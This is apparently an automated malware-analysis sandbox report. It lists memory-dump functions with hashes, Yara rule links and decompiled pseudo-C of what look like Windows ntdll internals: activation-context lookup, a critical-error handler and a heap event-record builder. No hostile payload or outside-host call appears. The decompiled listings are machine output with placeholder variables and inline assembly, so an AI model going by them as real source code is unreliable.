Associated: 0000000B.00000002.924844759.0000000003D3B000.00000040.00000001.sdmp Download File
Associated: 0000000B.00000002.924856644.0000000003D3F000.00000040.00000001.sdmp Download File

Similarity

API ID:
String ID: WindowsExcludedProcs
API String ID: 0-3583428290
Opcode ID: 1bf07565f9293903005a3f3a42acb8b910e30ddc7b9aa6256cfa4b1325e2faca
Instruction ID: 666d2c944ecb851641ac1d14973666701ded7a2b1996954ba347b04e0a1464d8
Opcode Fuzzy Hash: 1bf07565f9293903005a3f3a42acb8b910e30ddc7b9aa6256cfa4b1325e2faca
Instruction Fuzzy Hash: CD21373A500629ABCF21DA9AC888F6BB7ACFF41614F0E0461FD05DF200D631EE41E7A0

Uniqueness

Uniqueness Score: -1.00%

Function 03C6F716, Relevance: 1.3, Strings: 1, Instructions: 71
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E03C6F716(signed int __ecx, void* __edx, intOrPtr _a4, intOrPtr* _a8) {
				intOrPtr _t13;
				intOrPtr _t14;
				signed int _t16;
				signed char _t17;
				intOrPtr _t19;
				intOrPtr _t21;
				intOrPtr _t23;
				intOrPtr* _t25;

				_t25 = _a8;
				_t17 = __ecx;
				if(_t25 == 0) {
					_t19 = 0xc00000f2;
					L8:
					return _t19;
				}
				if((__ecx & 0xfffffffe) != 0) {
					_t19 = 0xc00000ef;
					goto L8;
				}
				_t19 = 0;
				 *_t25 = 0;
				_t21 = 0;
				_t23 = "Actx ";
				if(__edx != 0) {
					if(__edx == 0xfffffffc) {
						L21:
						_t21 = 0x200;
						L5:
						_t13 =  *((intOrPtr*)( *[fs:0x30] + _t21));
						 *_t25 = _t13;
						L6:
						if(_t13 == 0) {
							if((_t17 & 0x00000001) != 0) {
								 *_t25 = _t23;
							}
						}
						L7:
						goto L8;
					}
					if(__edx == 0xfffffffd) {
						 *_t25 = _t23;
						_t13 = _t23;
						goto L6;
					}
					_t13 =  *((intOrPtr*)(__edx + 0x10));
					 *_t25 = _t13;
					L14:
					if(_t21 == 0) {
						goto L6;
					}
					goto L5;
				}
				_t14 = _a4;
				if(_t14 != 0) {
					_t16 =  *(_t14 + 0x14) & 0x00000007;
					if(_t16 <= 1) {
						_t21 = 0x1f8;
						_t13 = 0;
						goto L14;
					}
					if(_t16 == 2) {
						goto L21;
					}
					if(_t16 != 4) {
						_t19 = 0xc00000f0;
						goto L7;
					}
					_t13 = 0;
					goto L6;
				} else {
					_t21 = 0x1f8;
					goto L5;
				}
			}

0x03c6f71d
0x03c6f722
0x03c6f726
0x03cb4770
0x03c6f765
0x03c6f769
0x03c6f769
0x03c6f732
0x03cb477a
0x00000000
0x03cb477a
0x03c6f738
0x03c6f73a
0x03c6f73c
0x03c6f73f
0x03c6f746
0x03c6f778
0x03c6f7a9
0x03c6f7a9
0x03c6f754
0x03c6f75a
0x03c6f75d
0x03c6f75f
0x03c6f761
0x03c6f76f
0x03c6f771
0x03c6f771
0x03c6f76f
0x03c6f763
0x00000000
0x03c6f763
0x03c6f77d
0x03c6f7a3
0x03c6f7a5
0x00000000
0x03c6f7a5
0x03c6f77f
0x03c6f782
0x03c6f784
0x03c6f786
0x00000000
0x00000000
0x00000000
0x03c6f788
0x03c6f748
0x03c6f74d
0x03c6f78d
0x03c6f793
0x03c6f7b7
0x03c6f7bc
0x00000000
0x03c6f7bc
0x03c6f798
0x00000000
0x00000000
0x03c6f79d
0x03c6f7b0
0x00000000
0x03c6f7b0
0x03c6f79f
0x00000000
0x03c6f74f
0x03c6f74f
0x00000000
0x03c6f74f

Strings

Actx , xrefs: 03C6F73F

Memory Dump Source

Source File: 0000000B.00000002.924749371.0000000003C20000.00000040.00000001.sdmp, Offset: 03C20000, based on PE: true

Associated: 0000000B.00000002.924844759.0000000003D3B000.00000040.00000001.sdmp Download File
Associated: 0000000B.00000002.924856644.0000000003D3F000.00000040.00000001.sdmp Download File

Similarity

API ID:
String ID: Actx
API String ID: 0-89312691
Opcode ID: 1a30f7f9361e415c437f2ede16ce82f183866b0d4b25a3a8850a6abace2951ae
Instruction ID: cfb3b9433620391c29eee929774bed373b929a69068d47b2b852e349d85b3c59
Opcode Fuzzy Hash: 1a30f7f9361e415c437f2ede16ce82f183866b0d4b25a3a8850a6abace2951ae
Instruction Fuzzy Hash: E411B2353086028BEB29CE1EA9D177AB299BB96624F28453EE461CF391DB70C940C340

Uniqueness

Uniqueness Score: -1.00%

Function 03CF8DF1, Relevance: 1.3, Strings: 1, Instructions: 45
COMMON

Download Yara Rule

C-Code - Quality: 71%

			E03CF8DF1(void* __ebx, intOrPtr __ecx, intOrPtr __edx, void* __edi, void* __esi, void* __eflags) {
				intOrPtr _t35;
				void* _t41;

				_t40 = __esi;
				_t39 = __edi;
				_t38 = __edx;
				_t35 = __ecx;
				_t34 = __ebx;
				_push(0x74);
				_push(0x3d20d50);
				E03C9D0E8(__ebx, __edi, __esi);
				 *((intOrPtr*)(_t41 - 0x7c)) = __edx;
				 *((intOrPtr*)(_t41 - 0x74)) = __ecx;
				if( *((intOrPtr*)( *[fs:0x30] + 2)) != 0 || ( *0x7ffe02d4 & 0 | ( *0x7ffe02d4 & 0x00000003) == 0x00000003) != 0) {
					E03CD5720(0x65, 0, "Critical error detected %lx\n", _t35);
					if( *((intOrPtr*)(_t41 + 8)) != 0) {
						 *(_t41 - 4) =  *(_t41 - 4) & 0x00000000;
						asm("int3");
						 *(_t41 - 4) = 0xfffffffe;
					}
				}
				 *(_t41 - 4) = 1;
				 *((intOrPtr*)(_t41 - 0x70)) =  *((intOrPtr*)(_t41 - 0x74));
				 *((intOrPtr*)(_t41 - 0x6c)) = 1;
				 *(_t41 - 0x68) =  *(_t41 - 0x68) & 0x00000000;
				 *((intOrPtr*)(_t41 - 0x64)) = L03C9DEF0;
				 *((intOrPtr*)(_t41 - 0x60)) = 1;
				 *((intOrPtr*)(_t41 - 0x5c)) =  *((intOrPtr*)(_t41 - 0x7c));
				_push(_t41 - 0x70);
				L03C9DEF0(1, _t38);
				 *(_t41 - 4) = 0xfffffffe;
				return E03C9D130(_t34, _t39, _t40);
			}

0x03cf8df1
0x03cf8df1
0x03cf8df1
0x03cf8df1
0x03cf8df1
0x03cf8df1
0x03cf8df3
0x03cf8df8
0x03cf8dfd
0x03cf8e00
0x03cf8e0e
0x03cf8e2a
0x03cf8e36
0x03cf8e38
0x03cf8e3c
0x03cf8e46
0x03cf8e46
0x03cf8e36
0x03cf8e50
0x03cf8e56
0x03cf8e59
0x03cf8e5c
0x03cf8e60
0x03cf8e67
0x03cf8e6d
0x03cf8e73
0x03cf8e74
0x03cf8eb1
0x03cf8ebd

Strings

Critical error detected %lx, xrefs: 03CF8E21

Memory Dump Source

Source File: 0000000B.00000002.924749371.0000000003C20000.00000040.00000001.sdmp, Offset: 03C20000, based on PE: true

Associated: 0000000B.00000002.924844759.0000000003D3B000.00000040.00000001.sdmp Download File
Associated: 0000000B.00000002.924856644.0000000003D3F000.00000040.00000001.sdmp Download File

Similarity

API ID:
String ID: Critical error detected %lx
API String ID: 0-802127002
Opcode ID: 2f87fa66313cde3a4bb3e2ea704290b91584ee94a20d4b50ed8ec968bb20985a
Instruction ID: 90aaba8df40d1f5834681a8342f292333e108da3632e2a0a905a8c4461c41ff4
Opcode Fuzzy Hash: 2f87fa66313cde3a4bb3e2ea704290b91584ee94a20d4b50ed8ec968bb20985a
Instruction Fuzzy Hash: 5B117979D10348DEDF24CFA8850979CBBB0AB04318F25425ED129EB282C3300601CF15

Uniqueness

Uniqueness Score: -1.00%

Function 03CDFF10, Relevance: 1.3, Strings: 1, Instructions: 44COMMON

Download Yara Rule

Strings

NTDLL: Calling thread (%p) not owner of CritSect: %p Owner ThreadId: %p, xrefs: 03CDFF60

Memory Dump Source

Source File: 0000000B.00000002.924749371.0000000003C20000.00000040.00000001.sdmp, Offset: 03C20000, based on PE: true

Associated: 0000000B.00000002.924844759.0000000003D3B000.00000040.00000001.sdmp Download File
Associated: 0000000B.00000002.924856644.0000000003D3F000.00000040.00000001.sdmp Download File

Similarity

API ID:
String ID: NTDLL: Calling thread (%p) not owner of CritSect: %p Owner ThreadId: %p
API String ID: 0-1911121157
Opcode ID: a99c3b2ceb2b836a7c07b5007e74f71605e51c29b408b1d1b041076d432df18a
Instruction ID: f0f1a4dc2d151d7b49b2269dd688278973dcb63cef3c81758d95b2d415c81c2d
Opcode Fuzzy Hash: a99c3b2ceb2b836a7c07b5007e74f71605e51c29b408b1d1b041076d432df18a
Instruction Fuzzy Hash: 7C11CE76910244AFDF11EB50CD49B98B7B1BB05704F1A8058F606EF261C7399A40DB50

Uniqueness

Uniqueness Score: -1.00%

Function 03D15BA5, Relevance: .6, Instructions: 592
COMMON

Download Yara Rule

C-Code - Quality: 88%

			E03D15BA5(void* __ebx, signed char __ecx, signed int* __edx, void* __edi, void* __esi, void* __eflags) {
				signed int _t296;
				signed char _t298;
				signed int _t301;
				signed int _t306;
				signed int _t310;
				signed char _t311;
				intOrPtr _t312;
				signed int _t313;
				void* _t327;
				signed int _t328;
				intOrPtr _t329;
				intOrPtr _t333;
				signed char _t334;
				signed int _t336;
				void* _t339;
				signed int _t340;
				signed int _t356;
				signed int _t362;
				short _t367;
				short _t368;
				short _t373;
				signed int _t380;
				void* _t382;
				short _t385;
				signed short _t392;
				signed char _t393;
				signed int _t395;
				signed char _t397;
				signed int _t398;
				signed short _t402;
				void* _t406;
				signed int _t412;
				signed char _t414;
				signed short _t416;
				signed int _t421;
				signed char _t427;
				intOrPtr _t434;
				signed char _t435;
				signed int _t436;
				signed int _t442;
				signed int _t446;
				signed int _t447;
				signed int _t451;
				signed int _t453;
				signed int _t454;
				signed int _t455;
				intOrPtr _t456;
				intOrPtr* _t457;
				short _t458;
				signed short _t462;
				signed int _t469;
				intOrPtr* _t474;
				signed int _t475;
				signed int _t479;
				signed int _t480;
				signed int _t481;
				short _t485;
				signed int _t491;
				signed int* _t494;
				signed int _t498;
				signed int _t505;
				intOrPtr _t506;
				signed short _t508;
				signed int _t511;
				void* _t517;
				signed int _t519;
				signed int _t522;
				void* _t523;
				signed int _t524;
				void* _t528;
				signed int _t529;

				_push(0xd4);
				_push(0x3d21178);
				E03C9D0E8(__ebx, __edi, __esi);
				_t494 = __edx;
				 *(_t528 - 0xcc) = __edx;
				_t511 = __ecx;
				 *((intOrPtr*)(_t528 - 0xb4)) = __ecx;
				 *(_t528 - 0xbc) = __ecx;
				 *((intOrPtr*)(_t528 - 0xc8)) =  *((intOrPtr*)(_t528 + 0x20));
				_t434 =  *((intOrPtr*)(_t528 + 0x24));
				 *((intOrPtr*)(_t528 - 0xc4)) = _t434;
				_t427 = 0;
				 *(_t528 - 0x74) = 0;
				 *(_t528 - 0x9c) = 0;
				 *(_t528 - 0x84) = 0;
				 *(_t528 - 0xac) = 0;
				 *(_t528 - 0x88) = 0;
				 *(_t528 - 0xa8) = 0;
				 *((intOrPtr*)(_t434 + 0x40)) = 0;
				if( *(_t528 + 0x1c) <= 0x80) {
					__eflags =  *(__ecx + 0xc0) & 0x00000004;
					if(__eflags != 0) {
						_t421 = E03D14C56(0, __edx, __ecx, __eflags);
						__eflags = _t421;
						if(_t421 != 0) {
							 *((intOrPtr*)(_t528 - 4)) = 0;
							E03C8D000(0x410);
							 *(_t528 - 0x18) = _t529;
							 *(_t528 - 0x9c) = _t529;
							 *((intOrPtr*)(_t528 - 4)) = 0xfffffffe;
							E03D15542(_t528 - 0x9c, _t528 - 0x84);
						}
					}
					_t435 = _t427;
					 *(_t528 - 0xd0) = _t435;
					_t474 = _t511 + 0x65;
					 *((intOrPtr*)(_t528 - 0x94)) = _t474;
					_t511 = 0x18;
					while(1) {
						 *(_t528 - 0xa0) = _t427;
						 *(_t528 - 0xbc) = _t427;
						 *(_t528 - 0x80) = _t427;
						 *(_t528 - 0x78) = 0x50;
						 *(_t528 - 0x79) = _t427;
						 *(_t528 - 0x7a) = _t427;
						 *(_t528 - 0x8c) = _t427;
						 *(_t528 - 0x98) = _t427;
						 *(_t528 - 0x90) = _t427;
						 *(_t528 - 0xb0) = _t427;
						 *(_t528 - 0xb8) = _t427;
						_t296 = 1 << _t435;
						_t436 =  *(_t528 + 0xc) & 0x0000ffff;
						__eflags = _t436 & _t296;
						if((_t436 & _t296) != 0) {
							goto L92;
						}
						__eflags =  *((char*)(_t474 - 1));
						if( *((char*)(_t474 - 1)) == 0) {
							goto L92;
						}
						_t301 =  *_t474;
						__eflags = _t494[1] - _t301;
						if(_t494[1] <= _t301) {
							L10:
							__eflags =  *(_t474 - 5) & 0x00000040;
							if(( *(_t474 - 5) & 0x00000040) == 0) {
								L12:
								__eflags =  *(_t474 - 0xd) & _t494[2] |  *(_t474 - 9) & _t494[3];
								if(( *(_t474 - 0xd) & _t494[2] |  *(_t474 - 9) & _t494[3]) == 0) {
									goto L92;
								}
								_t442 =  *(_t474 - 0x11) & _t494[3];
								__eflags = ( *(_t474 - 0x15) & _t494[2]) -  *(_t474 - 0x15);
								if(( *(_t474 - 0x15) & _t494[2]) !=  *(_t474 - 0x15)) {
									goto L92;
								}
								__eflags = _t442 -  *(_t474 - 0x11);
								if(_t442 !=  *(_t474 - 0x11)) {
									goto L92;
								}
								L15:
								_t306 =  *(_t474 + 1) & 0x000000ff;
								 *(_t528 - 0xc0) = _t306;
								 *(_t528 - 0xa4) = _t306;
								__eflags =  *0x3d360e8;
								if( *0x3d360e8 != 0) {
									__eflags = _t306 - 0x40;
									if(_t306 < 0x40) {
										L20:
										asm("lock inc dword [eax]");
										_t310 =  *0x3d360e8; // 0x0
										_t311 =  *(_t310 +  *(_t528 - 0xa4) * 8);
										__eflags = _t311 & 0x00000001;
										if((_t311 & 0x00000001) == 0) {
											 *(_t528 - 0xa0) = _t311;
											_t475 = _t427;
											 *(_t528 - 0x74) = _t427;
											__eflags = _t475;
											if(_t475 != 0) {
												L91:
												_t474 =  *((intOrPtr*)(_t528 - 0x94));
												goto L92;
											}
											asm("sbb edi, edi");
											_t498 = ( ~( *(_t528 + 0x18)) & _t511) + 0x50;
											_t511 = _t498;
											_t312 =  *((intOrPtr*)(_t528 - 0x94));
											__eflags =  *(_t312 - 5) & 1;
											if(( *(_t312 - 5) & 1) != 0) {
												_push(_t528 - 0x98);
												_push(0x4c);
												_push(_t528 - 0x70);
												_push(1);
												_push(0xfffffffa);
												_t412 = E03C89710();
												_t475 = _t427;
												__eflags = _t412;
												if(_t412 >= 0) {
													_t414 =  *(_t528 - 0x98) - 8;
													 *(_t528 - 0x98) = _t414;
													_t416 = _t414 + 0x0000000f & 0x0000fff8;
													 *(_t528 - 0x8c) = _t416;
													 *(_t528 - 0x79) = 1;
													_t511 = (_t416 & 0x0000ffff) + _t498;
													__eflags = _t511;
												}
											}
											_t446 =  *( *((intOrPtr*)(_t528 - 0x94)) - 5);
											__eflags = _t446 & 0x00000004;
											if((_t446 & 0x00000004) != 0) {
												__eflags =  *(_t528 - 0x9c);
												if( *(_t528 - 0x9c) != 0) {
													 *(_t528 - 0x7a) = 1;
													_t511 = _t511 + ( *(_t528 - 0x84) & 0x0000ffff);
													__eflags = _t511;
												}
											}
											_t313 = 2;
											_t447 = _t446 & _t313;
											__eflags = _t447;
											 *(_t528 - 0xd4) = _t447;
											if(_t447 != 0) {
												_t406 = 0x10;
												_t511 = _t511 + _t406;
												__eflags = _t511;
											}
											_t494 = ( *( *((intOrPtr*)(_t528 - 0xc4)) + 0x40) << 4) +  *((intOrPtr*)(_t528 - 0xc4));
											 *(_t528 - 0x88) = _t427;
											__eflags =  *(_t528 + 0x1c);
											if( *(_t528 + 0x1c) <= 0) {
												L45:
												__eflags =  *(_t528 - 0xb0);
												if( *(_t528 - 0xb0) != 0) {
													_t511 = _t511 + (( *(_t528 - 0x90) & 0x0000ffff) + 0x0000000f & 0xfffffff8);
													__eflags = _t511;
												}
												__eflags = _t475;
												if(_t475 != 0) {
													asm("lock dec dword [ecx+edx*8+0x4]");
													goto L100;
												} else {
													_t494[3] = _t511;
													_t451 =  *(_t528 - 0xa0);
													_t427 = E03C86DE6(_t451, _t511,  *( *[fs:0x18] + 0xf77) & 0x000000ff, _t528 - 0xe0, _t528 - 0xbc);
													 *(_t528 - 0x88) = _t427;
													__eflags = _t427;
													if(_t427 == 0) {
														__eflags = _t511 - 0xfff8;
														if(_t511 <= 0xfff8) {
															__eflags =  *((intOrPtr*)( *(_t528 - 0xa0) + 0x90)) - _t511;
															asm("sbb ecx, ecx");
															__eflags = (_t451 & 0x000000e2) + 8;
														}
														asm("lock dec dword [eax+edx*8+0x4]");
														L100:
														goto L101;
													}
													_t453 =  *(_t528 - 0xa0);
													 *_t494 = _t453;
													_t494[1] = _t427;
													_t494[2] =  *(_t528 - 0xbc);
													 *( *((intOrPtr*)(_t528 - 0xc4)) + 0x40) =  *( *((intOrPtr*)(_t528 - 0xc4)) + 0x40) + 1;
													 *_t427 =  *(_t453 + 0x24) | _t511;
													 *(_t427 + 4) =  *((intOrPtr*)(_t528 + 0x10));
													 *((short*)(_t427 + 6)) =  *((intOrPtr*)(_t528 + 8));
													asm("movsd");
													asm("movsd");
													asm("movsd");
													asm("movsd");
													asm("movsd");
													asm("movsd");
													asm("movsd");
													asm("movsd");
													__eflags =  *(_t528 + 0x14);
													if( *(_t528 + 0x14) == 0) {
														__eflags =  *[fs:0x18] + 0xf50;
													}
													asm("movsd");
													asm("movsd");
													asm("movsd");
													asm("movsd");
													__eflags =  *(_t528 + 0x18);
													if( *(_t528 + 0x18) == 0) {
														_t454 =  *(_t528 - 0x80);
														_t479 =  *(_t528 - 0x78);
														_t327 = 1;
														__eflags = 1;
													} else {
														_t146 = _t427 + 0x50; // 0x50
														_t454 = _t146;
														 *(_t528 - 0x80) = _t454;
														_t382 = 0x18;
														 *_t454 = _t382;
														 *((short*)(_t454 + 2)) = 1;
														_t385 = 0x10;
														 *((short*)(_t454 + 6)) = _t385;
														 *(_t454 + 4) = 0;
														asm("movsd");
														asm("movsd");
														asm("movsd");
														asm("movsd");
														_t327 = 1;
														 *(_t427 + 4) =  *(_t427 + 4) | 1;
														_t479 = 0x68;
														 *(_t528 - 0x78) = _t479;
													}
													__eflags =  *(_t528 - 0x79) - _t327;
													if( *(_t528 - 0x79) == _t327) {
														_t524 = _t479 + _t427;
														_t508 =  *(_t528 - 0x8c);
														 *_t524 = _t508;
														_t373 = 2;
														 *((short*)(_t524 + 2)) = _t373;
														 *((short*)(_t524 + 6)) =  *(_t528 - 0x98);
														 *((short*)(_t524 + 4)) = 0;
														_t167 = _t524 + 8; // 0x8
														E03C8F3E0(_t167, _t528 - 0x68,  *(_t528 - 0x98));
														_t529 = _t529 + 0xc;
														 *(_t427 + 4) =  *(_t427 + 4) | 1;
														_t479 =  *(_t528 - 0x78) + (_t508 & 0x0000ffff);
														 *(_t528 - 0x78) = _t479;
														_t380 =  *(_t528 - 0x80);
														__eflags = _t380;
														if(_t380 != 0) {
															_t173 = _t380 + 4;
															 *_t173 =  *(_t380 + 4) | 1;
															__eflags =  *_t173;
														}
														_t454 = _t524;
														 *(_t528 - 0x80) = _t454;
														_t327 = 1;
														__eflags = 1;
													}
													__eflags =  *(_t528 - 0xd4);
													if( *(_t528 - 0xd4) == 0) {
														_t505 =  *(_t528 - 0x80);
													} else {
														_t505 = _t479 + _t427;
														_t523 = 0x10;
														 *_t505 = _t523;
														_t367 = 3;
														 *((short*)(_t505 + 2)) = _t367;
														_t368 = 4;
														 *((short*)(_t505 + 6)) = _t368;
														 *(_t505 + 4) = 0;
														 *((intOrPtr*)(_t505 + 8)) =  *((intOrPtr*)( *[fs:0x30] + 0x1d4));
														_t327 = 1;
														 *(_t427 + 4) =  *(_t427 + 4) | 1;
														_t479 = _t479 + _t523;
														 *(_t528 - 0x78) = _t479;
														__eflags = _t454;
														if(_t454 != 0) {
															_t186 = _t454 + 4;
															 *_t186 =  *(_t454 + 4) | 1;
															__eflags =  *_t186;
														}
														 *(_t528 - 0x80) = _t505;
													}
													__eflags =  *(_t528 - 0x7a) - _t327;
													if( *(_t528 - 0x7a) == _t327) {
														 *(_t528 - 0xd4) = _t479 + _t427;
														_t522 =  *(_t528 - 0x84) & 0x0000ffff;
														E03C8F3E0(_t479 + _t427,  *(_t528 - 0x9c), _t522);
														_t529 = _t529 + 0xc;
														 *(_t427 + 4) =  *(_t427 + 4) | 1;
														_t479 =  *(_t528 - 0x78) + _t522;
														 *(_t528 - 0x78) = _t479;
														__eflags = _t505;
														if(_t505 != 0) {
															_t199 = _t505 + 4;
															 *_t199 =  *(_t505 + 4) | 1;
															__eflags =  *_t199;
														}
														_t505 =  *(_t528 - 0xd4);
														 *(_t528 - 0x80) = _t505;
													}
													__eflags =  *(_t528 - 0xa8);
													if( *(_t528 - 0xa8) != 0) {
														_t356 = _t479 + _t427;
														 *(_t528 - 0xd4) = _t356;
														_t462 =  *(_t528 - 0xac);
														 *_t356 = _t462 + 0x0000000f & 0x0000fff8;
														_t485 = 0xc;
														 *((short*)(_t356 + 2)) = _t485;
														 *(_t356 + 6) = _t462;
														 *((short*)(_t356 + 4)) = 0;
														_t211 = _t356 + 8; // 0x9
														E03C8F3E0(_t211,  *(_t528 - 0xa8), _t462 & 0x0000ffff);
														E03C8FA60((_t462 & 0x0000ffff) + _t211, 0, (_t462 + 0x0000000f & 0x0000fff8) -  *(_t528 - 0xac) - 0x00000008 & 0x0000ffff);
														_t529 = _t529 + 0x18;
														_t427 =  *(_t528 - 0x88);
														 *(_t427 + 4) =  *(_t427 + 4) | 1;
														_t505 =  *(_t528 - 0xd4);
														_t479 =  *(_t528 - 0x78) + ( *_t505 & 0x0000ffff);
														 *(_t528 - 0x78) = _t479;
														_t362 =  *(_t528 - 0x80);
														__eflags = _t362;
														if(_t362 != 0) {
															_t222 = _t362 + 4;
															 *_t222 =  *(_t362 + 4) | 1;
															__eflags =  *_t222;
														}
													}
													__eflags =  *(_t528 - 0xb0);
													if( *(_t528 - 0xb0) != 0) {
														 *(_t479 + _t427) =  *(_t528 - 0x90) + 0x0000000f & 0x0000fff8;
														_t458 = 0xb;
														 *((short*)(_t479 + _t427 + 2)) = _t458;
														 *((short*)(_t479 + _t427 + 6)) =  *(_t528 - 0x90);
														 *((short*)(_t427 + 4 + _t479)) = 0;
														 *(_t528 - 0xb8) = _t479 + 8 + _t427;
														E03C8FA60(( *(_t528 - 0x90) & 0x0000ffff) + _t479 + 8 + _t427, 0, ( *(_t528 - 0x90) + 0x0000000f & 0x0000fff8) -  *(_t528 - 0x90) - 0x00000008 & 0x0000ffff);
														_t529 = _t529 + 0xc;
														 *(_t427 + 4) =  *(_t427 + 4) | 1;
														_t479 =  *(_t528 - 0x78) + ( *( *(_t528 - 0x78) + _t427) & 0x0000ffff);
														 *(_t528 - 0x78) = _t479;
														__eflags = _t505;
														if(_t505 != 0) {
															_t241 = _t505 + 4;
															 *_t241 =  *(_t505 + 4) | 1;
															__eflags =  *_t241;
														}
													}
													_t328 =  *(_t528 + 0x1c);
													__eflags = _t328;
													if(_t328 == 0) {
														L87:
														_t329 =  *((intOrPtr*)(_t528 - 0xe0));
														 *((intOrPtr*)(_t427 + 0x10)) = _t329;
														_t455 =  *(_t528 - 0xdc);
														 *(_t427 + 0x14) = _t455;
														_t480 =  *(_t528 - 0xa0);
														_t517 = 3;
														__eflags =  *((intOrPtr*)(_t480 + 0x10)) - _t517;
														if( *((intOrPtr*)(_t480 + 0x10)) != _t517) {
															asm("rdtsc");
															 *(_t427 + 0x3c) = _t480;
														} else {
															 *(_t427 + 0x3c) = _t455;
														}
														 *((intOrPtr*)(_t427 + 0x38)) = _t329;
														_t456 =  *[fs:0x18];
														 *((intOrPtr*)(_t427 + 8)) =  *((intOrPtr*)(_t456 + 0x24));
														 *((intOrPtr*)(_t427 + 0xc)) =  *((intOrPtr*)(_t456 + 0x20));
														_t427 = 0;
														__eflags = 0;
														_t511 = 0x18;
														goto L91;
													} else {
														_t519 =  *((intOrPtr*)(_t528 - 0xc8)) + 0xc;
														__eflags = _t519;
														 *(_t528 - 0x8c) = _t328;
														do {
															_t506 =  *((intOrPtr*)(_t519 - 4));
															_t457 =  *((intOrPtr*)(_t519 - 0xc));
															 *(_t528 - 0xd4) =  *(_t519 - 8);
															_t333 =  *((intOrPtr*)(_t528 - 0xb4));
															__eflags =  *(_t333 + 0x36) & 0x00004000;
															if(( *(_t333 + 0x36) & 0x00004000) != 0) {
																_t334 =  *_t519;
															} else {
																_t334 = 0;
															}
															_t336 = _t334 & 0x000000ff;
															__eflags = _t336;
															_t427 =  *(_t528 - 0x88);
															if(_t336 == 0) {
																_t481 = _t479 + _t506;
																__eflags = _t481;
																 *(_t528 - 0x78) = _t481;
																E03C8F3E0(_t479 + _t427, _t457, _t506);
																_t529 = _t529 + 0xc;
															} else {
																_t340 = _t336 - 1;
																__eflags = _t340;
																if(_t340 == 0) {
																	E03C8F3E0( *(_t528 - 0xb8), _t457, _t506);
																	_t529 = _t529 + 0xc;
																	 *(_t528 - 0xb8) =  *(_t528 - 0xb8) + _t506;
																} else {
																	__eflags = _t340 == 0;
																	if(_t340 == 0) {
																		__eflags = _t506 - 8;
																		if(_t506 == 8) {
																			 *((intOrPtr*)(_t528 - 0xe0)) =  *_t457;
																			 *(_t528 - 0xdc) =  *(_t457 + 4);
																		}
																	}
																}
															}
															_t339 = 0x10;
															_t519 = _t519 + _t339;
															_t263 = _t528 - 0x8c;
															 *_t263 =  *(_t528 - 0x8c) - 1;
															__eflags =  *_t263;
															_t479 =  *(_t528 - 0x78);
														} while ( *_t263 != 0);
														goto L87;
													}
												}
											} else {
												_t392 =  *( *((intOrPtr*)(_t528 - 0xb4)) + 0x36) & 0x00004000;
												 *(_t528 - 0xa2) = _t392;
												_t469 =  *((intOrPtr*)(_t528 - 0xc8)) + 8;
												__eflags = _t469;
												while(1) {
													 *(_t528 - 0xe4) = _t511;
													__eflags = _t392;
													_t393 = _t427;
													if(_t392 != 0) {
														_t393 =  *((intOrPtr*)(_t469 + 4));
													}
													_t395 = (_t393 & 0x000000ff) - _t427;
													__eflags = _t395;
													if(_t395 == 0) {
														_t511 = _t511 +  *_t469;
														__eflags = _t511;
													} else {
														_t398 = _t395 - 1;
														__eflags = _t398;
														if(_t398 == 0) {
															 *(_t528 - 0x90) =  *(_t528 - 0x90) +  *_t469;
															 *(_t528 - 0xb0) =  *(_t528 - 0xb0) + 1;
														} else {
															__eflags = _t398 == 1;
															if(_t398 == 1) {
																 *(_t528 - 0xa8) =  *(_t469 - 8);
																_t402 =  *_t469 & 0x0000ffff;
																 *(_t528 - 0xac) = _t402;
																_t511 = _t511 + ((_t402 & 0x0000ffff) + 0x0000000f & 0xfffffff8);
															}
														}
													}
													__eflags = _t511 -  *(_t528 - 0xe4);
													if(_t511 <  *(_t528 - 0xe4)) {
														break;
													}
													_t397 =  *(_t528 - 0x88) + 1;
													 *(_t528 - 0x88) = _t397;
													_t469 = _t469 + 0x10;
													__eflags = _t397 -  *(_t528 + 0x1c);
													_t392 =  *(_t528 - 0xa2);
													if(_t397 <  *(_t528 + 0x1c)) {
														continue;
													}
													goto L45;
												}
												_t475 = 0x216;
												 *(_t528 - 0x74) = 0x216;
												goto L45;
											}
										} else {
											asm("lock dec dword [eax+ecx*8+0x4]");
											goto L16;
										}
									}
									_t491 = E03D14CAB(_t306, _t528 - 0xa4);
									 *(_t528 - 0x74) = _t491;
									__eflags = _t491;
									if(_t491 != 0) {
										goto L91;
									} else {
										_t474 =  *((intOrPtr*)(_t528 - 0x94));
										goto L20;
									}
								}
								L16:
								 *(_t528 - 0x74) = 0x1069;
								L93:
								_t298 =  *(_t528 - 0xd0) + 1;
								 *(_t528 - 0xd0) = _t298;
								_t474 = _t474 + _t511;
								 *((intOrPtr*)(_t528 - 0x94)) = _t474;
								_t494 = 4;
								__eflags = _t298 - _t494;
								if(_t298 >= _t494) {
									goto L100;
								}
								_t494 =  *(_t528 - 0xcc);
								_t435 = _t298;
								continue;
							}
							__eflags = _t494[2] | _t494[3];
							if((_t494[2] | _t494[3]) == 0) {
								goto L15;
							}
							goto L12;
						}
						__eflags = _t301;
						if(_t301 != 0) {
							goto L92;
						}
						goto L10;
						L92:
						goto L93;
					}
				} else {
					_push(0x57);
					L101:
					return E03C9D130(_t427, _t494, _t511);
				}
			}

0x03d15ba5
0x03d15baa
0x03d15baf
0x03d15bb4
0x03d15bb6
0x03d15bbc
0x03d15bbe
0x03d15bc4
0x03d15bcd
0x03d15bd3
0x03d15bd6
0x03d15bdc
0x03d15be0
0x03d15be3
0x03d15beb
0x03d15bf2
0x03d15bf8
0x03d15bfe
0x03d15c04
0x03d15c0e
0x03d15c18
0x03d15c1f
0x03d15c25
0x03d15c2a
0x03d15c2c
0x03d15c32
0x03d15c3a
0x03d15c3f
0x03d15c42
0x03d15c48
0x03d15c5b
0x03d15c5b
0x03d15c2c
0x03d15cb7
0x03d15cb9
0x03d15cbf
0x03d15cc2
0x03d15cca
0x03d15ccb
0x03d15ccb
0x03d15cd1
0x03d15cd7
0x03d15cda
0x03d15ce1
0x03d15ce4
0x03d15ce7
0x03d15ced
0x03d15cf3
0x03d15cf9
0x03d15cff
0x03d15d08
0x03d15d0a
0x03d15d0e
0x03d15d10
0x00000000
0x00000000
0x03d15d16
0x03d15d1a
0x00000000
0x00000000
0x03d15d20
0x03d15d22
0x03d15d25
0x03d15d2f
0x03d15d2f
0x03d15d33
0x03d15d3d
0x03d15d49
0x03d15d4b
0x00000000
0x00000000
0x03d15d5a
0x03d15d5d
0x03d15d60
0x00000000
0x00000000
0x03d15d66
0x03d15d69
0x00000000
0x00000000
0x03d15d6f
0x03d15d6f
0x03d15d73
0x03d15d79
0x03d15d7f
0x03d15d86
0x03d15d95
